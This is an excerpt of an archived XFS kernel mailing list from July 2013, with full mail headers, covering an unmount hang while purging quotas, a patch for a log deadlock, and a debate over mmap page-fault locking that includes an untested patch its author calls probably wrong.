sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name Quoting Dave Chinner : > Have you recently upgraded from an older kernel (i.e. older than 3.9)? Sorry, I think I missed this question. I update about once a month to latest stable from kernel.org. 3.8.5 (April) -> 3.9.0 (May) -> 3.9.4 (June) -> 3.10.0 (July 1st) -> 3.10.1 (July 15th) So no "older" kernels really. In case something really goes south I have good backups... I wish it was a HDD failure, then at least I'd know what to do about it. ;) Regards Andreas Klauer From sekharan@us.ibm.com Thu Jul 18 11:33:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4E55B7F3F for ; Thu, 18 Jul 2013 11:33:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 420DD30405F for ; Thu, 18 Jul 2013 09:33:53 -0700 (PDT) X-ASG-Debug-ID: 1374165228-04cb6c2a42e985a0001-NocioJ Received: from e9.ny.us.ibm.com (e9.ny.us.ibm.com [32.97.182.139]) by cuda.sgi.com with ESMTP id EZVgFeNrtkPv5Mgk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 09:33:49 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.182.139 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] Received: from /spool/local by e9.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 18 Jul 2013 12:33:48 -0400 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.139] Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e9.ny.us.ibm.com (192.168.1.109) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 18 Jul 2013 12:33:47 -0400 Received: from d01relay06.pok.ibm.com (d01relay06.pok.ibm.com [9.56.227.116]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id 531496E804B for ; Thu, 18 Jul 2013 12:33:41 -0400 (EDT) Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167]) by d01relay06.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6IGXjoP39452780 for ; Thu, 18 Jul 2013 12:33:46 -0400 Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1]) by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6IGXLcU010269 for ; Thu, 18 Jul 2013 10:33:21 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6IGXKPM010228; Thu, 18 Jul 2013 10:33:20 -0600 Subject: Re: [regression 3.11-rc1] unmount hanging purging quotas From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [regression 3.11-rc1] unmount hanging purging quotas Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20130718110931.GA13468@dastard> References: <20130718110931.GA13468@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Thu, 18 Jul 2013 11:33:20 -0500 Message-ID: <1374165200.8941.187.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071816-7182-0000-0000-000007C5F4B4 X-Barracuda-Connect: e9.ny.us.ibm.com[32.97.182.139] X-Barracuda-Start-Time: 1374165229 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-07-18 at 21:09 +1000, Dave Chinner wrote: Hi Dave, I am not able to reproduce the problem with both oss-master and linus-master. I ran xfs/050 in a loop for 100 times with both the kernels, and they ran fine. Now I am running the whole suite. top of oss-master(git://oss.sgi.com/xfs/xfs): --- commit ad81f0545ef01ea651886dddac4bef6cec930092 Author: Linus Torvalds Date: Sun Jul 14 15:18:27 2013 -0700 Linux 3.11-rc1 ----- top of linus-master(git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git) --- commit 61f98b0fca802d7e0191072606519e2230a6226d Merge: c0d15cc b2781e1 Author: Linus Torvalds Date: Wed Jul 17 13:43:55 2013 -0700 --- Chandra > Hi Chandra, > > I'm seeing xfs/050 hanging on a current oss-xfs master tree during > unmount getting stuck purging dquots. it basically loops there > forever. Have you seen anything like this recently? > > # echo w > /proc/sysrq-trigger > [ 5179.063824] SysRq : Show Blocked State > [ 5179.064895] task PC stack pid father > [ 5179.066459] umount D ffff88007fd13280 5592 27782 26800 0x00000000 > [ 5179.067478] ffff88007b747b98 0000000000000046 ffff8800524e4500 ffff88007b747fd8 > [ 5179.067478] ffff88007b747fd8 ffff88007b747fd8 ffff88007c83dc00 ffff8800524e4500 > [ 5179.067478] ffff88007b747b88 ffff88007b747bd0 ffff88007c858000 0000000100129cb6 > [ 5179.067478] Call Trace: > [ 5179.067478] [] schedule+0x29/0x70 > [ 5179.067478] [] schedule_timeout+0x10b/0x1f0 > [ 5179.067478] [] ? usleep_range+0x50/0x50 > [ 5179.067478] [] ? xfs_qm_need_dqattach+0x80/0x80 > [ 5179.067478] [] schedule_timeout_uninterruptible+0x1e/0x20 > [ 5179.067478] [] xfs_qm_dquot_walk+0x19b/0x1b0 > [ 5179.067478] [] ? _raw_spin_lock_irqsave+0x24/0x30 > [ 5179.067478] [] ? do_raw_spin_unlock+0x5d/0xb0 > [ 5179.067478] [] ? flush_work+0x34/0x160 > [ 5179.067478] [] ? del_timer+0x54/0x70 > [ 5179.067478] [] ? try_to_grab_pending+0xd1/0x190 > [ 5179.067478] [] xfs_qm_dqpurge_all+0x40/0x90 > [ 5179.067478] [] xfs_qm_unmount+0x25/0x40 > [ 5179.067478] [] xfs_unmountfs+0x7c/0x120 > [ 5179.067478] [] xfs_fs_put_super+0x25/0x60 > [ 5179.067478] [] generic_shutdown_super+0x61/0xf0 > [ 5179.067478] [] kill_block_super+0x30/0x80 > [ 5179.067478] [] deactivate_locked_super+0x4d/0x80 > [ 5179.067478] [] deactivate_super+0x4e/0x70 > [ 5179.067478] [] mntput_no_expire+0x101/0x160 > [ 5179.067478] [] SyS_umount+0x9c/0x3a0 > [ 5179.067478] [] system_call_fastpath+0x16/0x1b > > Cheers, > > Dave. From sekharan@us.ibm.com Thu Jul 18 14:55:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 96CCC7F4E for ; Thu, 18 Jul 2013 14:55:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 58A998F8040 for ; Thu, 18 Jul 2013 12:55:13 -0700 (PDT) X-ASG-Debug-ID: 1374177312-04bdf0245d15fc90001-NocioJ Received: from e37.co.us.ibm.com (e37.co.us.ibm.com [32.97.110.158]) by cuda.sgi.com with ESMTP id drTtfcHKRKYhCv3c (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 18 Jul 2013 12:55:12 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.158 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from /spool/local by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 18 Jul 2013 13:55:12 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.158] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 18 Jul 2013 13:54:57 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 449EB19D806C for ; Thu, 18 Jul 2013 13:54:45 -0600 (MDT) Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6IJsmUV348564 for ; Thu, 18 Jul 2013 13:54:49 -0600 Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6IJsknW007339 for ; Thu, 18 Jul 2013 13:54:46 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6IJsjD3007295; Thu, 18 Jul 2013 13:54:45 -0600 Subject: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: XFS mailing list In-Reply-To: <20130718022451.GM11674@dastard> References: <1373928754.20769.41.camel@chandra-dt.ibm.com> <20130716005455.GC3920@dastard> <1374096775.8941.3.camel@chandra-dt.ibm.com> <20130718022451.GM11674@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Thu, 18 Jul 2013 14:54:45 -0500 Message-ID: <1374177285.8941.477.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071819-7408-0000-0000-00001225AEF1 X-Barracuda-Connect: e37.co.us.ibm.com[32.97.110.158] X-Barracuda-Start-Time: 1374177312 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com On Thu, 2013-07-18 at 12:24 +1000, Dave Chinner wrote: > On Wed, Jul 17, 2013 at 04:32:55PM -0500, Chandra Seetharaman wrote: > > On Tue, 2013-07-16 at 10:54 +1000, Dave Chinner wrote: > > > On Mon, Jul 15, 2013 at 05:52:34PM -0500, Chandra Seetharaman wrote: > > > > While testing and rearranging my pquota/gquota code, I stumbled > > > > on a xfs_shutdown() during a mount. But the mount just hung. > > > > > > > > I debugged and found that there is a deadlock involving > > > > &log->l_cilp->xc_ctx_lock. > > > > > > > > It is in a code path where &log->l_cilp->xc_ctx_lock is first > > > > acquired in read mode and some levels down the same semaphore > > > > is being acquired in write mode causing a deadlock. > > > > > > > > This is the stack: > > > > xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode > > > > xlog_print_tic_res > > > > xfs_force_shutdown > > > > xfs_log_force_umount > > > > xlog_cil_force > > > > xlog_cil_force_lsn > > > > xlog_cil_push_foreground > > > > xlog_cil_push - tries to acquire same semaphore in write mode > > > > > > > > This patch fixes the deadlock by not calling xfs_force_shutdown() while > > > > holding the semaphore, instead calling it after dropping teh semaphore. > > > > > > > > Thanks to Dave for suggesting this solution. > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > > > > > --- > > > > fs/xfs/xfs_log.c | 6 +++--- > > > > fs/xfs/xfs_log_cil.c | 10 ++++++---- > > > > fs/xfs/xfs_log_priv.h | 2 +- > > > > fs/xfs/xfs_trans.c | 2 +- > > > > 4 files changed, 11 insertions(+), 9 deletions(-) > > > > > > > > diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c > > > > index d852a2b..b9fa2da 100644 > > > > --- a/fs/xfs/xfs_log.c > > > > +++ b/fs/xfs/xfs_log.c > > > > @@ -1837,7 +1837,7 @@ xlog_state_finish_copy( > > > > * print out info relating to regions written which consume > > > > * the reservation > > > > */ > > > > -void > > > > +int > > > > xlog_print_tic_res( > > > > struct xfs_mount *mp, > > > > struct xlog_ticket *ticket) > > > > @@ -1941,7 +1941,7 @@ xlog_print_tic_res( > > > > > > > > xfs_alert_tag(mp, XFS_PTAG_LOGRES, > > > > "xlog_write: reservation ran out. Need to up reservation"); > > > > - xfs_force_shutdown(mp, SHUTDOWN_CORRUPT_INCORE); > > > > + return EFSCORRUPTED; > > > > > > Note the "SHUTDOWN_CORRUPT_INCORE" reason given here.... > > > > > > > diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c > > > > index 35a2299..d96022f 100644 > > > > --- a/fs/xfs/xfs_trans.c > > > > +++ b/fs/xfs/xfs_trans.c > > > > @@ -1547,7 +1547,7 @@ xfs_trans_commit( > > > > xfs_trans_apply_dquot_deltas(tp); > > > > > > > > error = xfs_log_commit_cil(mp, tp, &commit_lsn, flags); > > > > - if (error == ENOMEM) { > > > > + if (error) { > > > > xfs_force_shutdown(mp, SHUTDOWN_LOG_IO_ERROR); > > > > > > Which is different to the reason given here. The shutdown reason > > > should be maintained for this particular error.... > > > > I see. > > What I mean is that the code in xfs_trans_commit() should do > something like: > > if (error) { > int reason = SHUTDOWN_LOG_IO_ERROR; > if (error == EFSCORRUPTED) > reason = SHUTDOWN_CORRUPT_INCORE; > xfs_force_shutdown(mp, reason); > .... > } > > > > > Is it ok if the error reason is not propagated to the xlog_write() code > > path ? > > No - if we get a transaction overflow, we need to trigger a > shutdown. That means the error needs to be caught by the > xlog_write() path an the filesystem shut down. > > Looking at it more deeply, you could probably just change the > shutdown in xlog_print_tic_res() to use SHUTDOWN_LOG_IO_ERROR and > the problem is solved as the shutdown won't try to force the > log. i.e. this whole problem will go away with that one line fix... I am confused. In the previous response you mentioned that we have to propagate the reason as-is in xfs_trans_commit() path. But, the new suggestion you are making will change the behavior of all paths and they will not enter xfs_log_force_umount(). Besides, IIUC, XFS_MOUNT_FS_SHUTDOWN is set only in xfs_log_force_umount(), so the very first time we enter xlog_print_tic_res(), even with SHUTDOWN_LOG_IO_ERROR we will call xfs_log_force_umount() when can lead to the deadlock we are trying to avoid. > > Cheers, > > Dave. From bpm@sgi.com Thu Jul 18 16:16:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E1D187F3F for ; Thu, 18 Jul 2013 16:16:36 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1A97E304053; Thu, 18 Jul 2013 14:16:32 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B59A34266DC; Thu, 18 Jul 2013 16:16:32 -0500 (CDT) Date: Thu, 18 Jul 2013 16:16:32 -0500 From: Ben Myers To: Dave Chinner Cc: Linus Torvalds , Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130718211632.GD3572@sgi.com> References: <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> <20130717234049.GC3572@sgi.com> <20130718034203.GO11674@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130718034203.GO11674@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Thu, Jul 18, 2013 at 01:42:03PM +1000, Dave Chinner wrote: > On Wed, Jul 17, 2013 at 05:17:36PM -0700, Linus Torvalds wrote: > > On Wed, Jul 17, 2013 at 4:40 PM, Ben Myers wrote: > > >> > > >> We're still talking at cross purposes then. > > >> > > >> How the hell do you handle mmap() and page faulting? > > > > > > __xfs_get_blocks serializes access to the block map with the i_lock on the > > > xfs_inode. This appears to be racy with respect to hole punching. > > > > Would it be possible to just make __xfs_get_blocks get the i_iolock > > (non-exclusively)? > > No. __xfs_get_blocks() operates on metadata (e.g. extent lists), and > as such is protected by the i_ilock (note: not the i_iolock). i.e. > XFS has a multi-level locking strategy: > > i_iolock is provided for *data IO serialisation*, > i_ilock is for *inode metadata serialisation*. I think if __xfs_get_blocks has some way of knowing it is the mmap/page fault path, taking the iolock shared in addition to the ilock (in just that case) would prevent the mmap from being able to read stale data from disk. You would see either the data before the punch or you would see the hole. Actually... I think that is wrong: You'd have to take the iolock across the read itself (not just the access to the block map) for it to have the desired effect: 1608 int filemap_fault(struct vm_area_struct *vma, struct vm_fault *vmf) ... 1704 page_not_uptodate: 1705 /* 1706 * Umm, take care of errors if the page isn't up-to-date. 1707 * Try to re-read it _once_. We do this synchronously, 1708 * because there really aren't any performance issues here 1709 * and we need to check for errors. 1710 */ 1711 ClearPageError(page); 1712 error = mapping->a_ops->readpage(file, page); 1713 if (!error) { 1714 wait_on_page_locked(page); 1715 if (!PageUptodate(page)) 1716 error = -EIO; 1717 } 1718 page_cache_release(page); Wouldn't you have to hold the iolock until after wait_on_page_locked returns? Regards, Ben From bpm@sgi.com Thu Jul 18 17:21:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 454A97F50 for ; Thu, 18 Jul 2013 17:21:25 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id DC715AC001; Thu, 18 Jul 2013 15:21:20 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C42904266DC; Thu, 18 Jul 2013 17:21:17 -0500 (CDT) Date: Thu, 18 Jul 2013 17:21:17 -0500 From: Ben Myers To: Dave Chinner Cc: Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com, Linus Torvalds Subject: Re: splice vs execve lockdep trace. Message-ID: <20130718222117.GE3572@sgi.com> References: <20130716204335.GH11674@dastard> <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> <20130717234049.GC3572@sgi.com> <20130718034203.GO11674@dastard> <20130718211632.GD3572@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130718211632.GD3572@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Thu, Jul 18, 2013 at 04:16:32PM -0500, Ben Myers wrote: > On Thu, Jul 18, 2013 at 01:42:03PM +1000, Dave Chinner wrote: > > On Wed, Jul 17, 2013 at 05:17:36PM -0700, Linus Torvalds wrote: > > > On Wed, Jul 17, 2013 at 4:40 PM, Ben Myers wrote: > > > >> > > > >> We're still talking at cross purposes then. > > > >> > > > >> How the hell do you handle mmap() and page faulting? > > > > > > > > __xfs_get_blocks serializes access to the block map with the i_lock on the > > > > xfs_inode. This appears to be racy with respect to hole punching. > > > > > > Would it be possible to just make __xfs_get_blocks get the i_iolock > > > (non-exclusively)? > > > > No. __xfs_get_blocks() operates on metadata (e.g. extent lists), and > > as such is protected by the i_ilock (note: not the i_iolock). i.e. > > XFS has a multi-level locking strategy: > > > > i_iolock is provided for *data IO serialisation*, > > i_ilock is for *inode metadata serialisation*. > > I think if __xfs_get_blocks has some way of knowing it is the mmap/page fault > path, taking the iolock shared in addition to the ilock (in just that case) > would prevent the mmap from being able to read stale data from disk. You would > see either the data before the punch or you would see the hole. > > Actually... I think that is wrong: You'd have to take the iolock across the > read itself (not just the access to the block map) for it to have the desired > effect: > > 1608 int filemap_fault(struct vm_area_struct *vma, struct vm_fault *vmf) > ... > 1704 page_not_uptodate: > 1705 /* > 1706 * Umm, take care of errors if the page isn't up-to-date. > 1707 * Try to re-read it _once_. We do this synchronously, > 1708 * because there really aren't any performance issues here > 1709 * and we need to check for errors. > 1710 */ > 1711 ClearPageError(page); > 1712 error = mapping->a_ops->readpage(file, page); > 1713 if (!error) { > 1714 wait_on_page_locked(page); > 1715 if (!PageUptodate(page)) > 1716 error = -EIO; > 1717 } > 1718 page_cache_release(page); > > Wouldn't you have to hold the iolock until after wait_on_page_locked returns? Maybe like so (crappy/untested/probably wrong/fodder for ridicule/etc): Index: xfs/fs/xfs/xfs_aops.c =================================================================== --- xfs.orig/fs/xfs/xfs_aops.c +++ xfs/fs/xfs/xfs_aops.c @@ -1663,6 +1663,24 @@ xfs_vm_readpages( return mpage_readpages(mapping, pages, nr_pages, xfs_get_blocks); } +void +xfs_vm_fault_lock( + struct inode *inode) +{ + struct xfs_inode *ip = XFS_I(inode); + + xfs_ilock(ip, XFS_IOLOCK_SHARED); +} + +void +xfs_vm_fault_unlock( + struct inode *inode) +{ + struct xfs_inode *ip = XFS_I(inode); + + xfs_iunlock(ip, XFS_IOLOCK_SHARED); +} + const struct address_space_operations xfs_address_space_operations = { .readpage = xfs_vm_readpage, .readpages = xfs_vm_readpages, @@ -1677,4 +1695,6 @@ const struct address_space_operations xf .migratepage = buffer_migrate_page, .is_partially_uptodate = block_is_partially_uptodate, .error_remove_page = generic_error_remove_page, + .fault_lock = xfs_vm_fault_lock, + .fault_unlock = xfs_vm_fault_unlock, }; Index: xfs/mm/filemap.c =================================================================== --- xfs.orig/mm/filemap.c +++ xfs/mm/filemap.c @@ -1709,12 +1709,16 @@ page_not_uptodate: * and we need to check for errors. */ ClearPageError(page); + if (mapping->a_ops->fault_lock) + mapping->a_ops->fault_lock(inode); error = mapping->a_ops->readpage(file, page); if (!error) { wait_on_page_locked(page); if (!PageUptodate(page)) error = -EIO; } + if (mapping->a_ops->fault_unlock) + mapping->a_ops->fault_unlock(inode); page_cache_release(page); if (!error || error == AOP_TRUNCATED_PAGE) Index: xfs/include/linux/fs.h =================================================================== --- xfs.orig/include/linux/fs.h +++ xfs/include/linux/fs.h @@ -388,6 +388,9 @@ struct address_space_operations { int (*swap_activate)(struct swap_info_struct *sis, struct file *file, sector_t *span); void (*swap_deactivate)(struct file *file); + + void (*fault_lock) (struct inode *inode); + void (*fault_unlock) (struct inode *inode); }; extern const struct address_space_operations empty_aops; From david@fromorbit.com Thu Jul 18 17:49:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 487BD7F53 for ; Thu, 18 Jul 2013 17:49:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0F5048F8035 for ; Thu, 18 Jul 2013 15:49:14 -0700 (PDT) X-ASG-Debug-ID: 1374187752-04bdf0245c16bd70001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id F9ip654fMCyLxBSA for ; Thu, 18 Jul 2013 15:49:13 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AssNADlw6FF5LK4r/2dsb2JhbABagwaDIrh1hS8EAYERF3SCJAEBBScTHCMQCAMOCgklDwUlAyETiA+2OxaOXIEdB4MObgOXXJFOgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 08:19:12 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uzx0V-00039k-IJ; Fri, 19 Jul 2013 08:49:07 +1000 Date: Fri, 19 Jul 2013 08:49:07 +1000 From: Dave Chinner To: Ben Myers Cc: Peter Zijlstra , Oleg Nesterov , Linux Kernel , Alexander Viro , Dave Jones , xfs@oss.sgi.com, Linus Torvalds Subject: Re: splice vs execve lockdep trace. Message-ID: <20130718224907.GD13468@dastard> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. References: <20130717040616.GI11674@dastard> <20130717055103.GK11674@dastard> <20130717234049.GC3572@sgi.com> <20130718034203.GO11674@dastard> <20130718211632.GD3572@sgi.com> <20130718222117.GE3572@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130718222117.GE3572@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374187752 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137159 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 18, 2013 at 05:21:17PM -0500, Ben Myers wrote: > Dave, > > On Thu, Jul 18, 2013 at 04:16:32PM -0500, Ben Myers wrote: > > On Thu, Jul 18, 2013 at 01:42:03PM +1000, Dave Chinner wrote: > > > On Wed, Jul 17, 2013 at 05:17:36PM -0700, Linus Torvalds wrote: > > > > On Wed, Jul 17, 2013 at 4:40 PM, Ben Myers wrote: > > > > >> > > > > >> We're still talking at cross purposes then. > > > > >> > > > > >> How the hell do you handle mmap() and page faulting? > > > > > > > > > > __xfs_get_blocks serializes access to the block map with the i_lock on the > > > > > xfs_inode. This appears to be racy with respect to hole punching. > > > > > > > > Would it be possible to just make __xfs_get_blocks get the i_iolock > > > > (non-exclusively)? > > > > > > No. __xfs_get_blocks() operates on metadata (e.g. extent lists), and > > > as such is protected by the i_ilock (note: not the i_iolock). i.e. > > > XFS has a multi-level locking strategy: > > > > > > i_iolock is provided for *data IO serialisation*, > > > i_ilock is for *inode metadata serialisation*. > > > > I think if __xfs_get_blocks has some way of knowing it is the mmap/page fault > > path, taking the iolock shared in addition to the ilock (in just that case) > > would prevent the mmap from being able to read stale data from disk. You would > > see either the data before the punch or you would see the hole. > > > > Actually... I think that is wrong: You'd have to take the iolock across the > > read itself (not just the access to the block map) for it to have the desired > > effect: > > > > 1608 int filemap_fault(struct vm_area_struct *vma, struct vm_fault *vmf) > > ... > > 1704 page_not_uptodate: > > 1705 /* > > 1706 * Umm, take care of errors if the page isn't up-to-date. > > 1707 * Try to re-read it _once_. We do this synchronously, > > 1708 * because there really aren't any performance issues here > > 1709 * and we need to check for errors. > > 1710 */ > > 1711 ClearPageError(page); > > 1712 error = mapping->a_ops->readpage(file, page); > > 1713 if (!error) { > > 1714 wait_on_page_locked(page); > > 1715 if (!PageUptodate(page)) > > 1716 error = -EIO; > > 1717 } > > 1718 page_cache_release(page); > > > > Wouldn't you have to hold the iolock until after wait_on_page_locked returns? > > Maybe like so (crappy/untested/probably wrong/fodder for ridicule/etc): Try running it with lockdep. You'll see pretty quickly why you can't take the i_iolock or i_mutex in the ->fault path - it is called with the mmap_sem held. The lock inversion that can deadlock is that the page fault might be occurring in the read path that is already holding the i_mutex/i_iolock.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jul 18 22:37:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 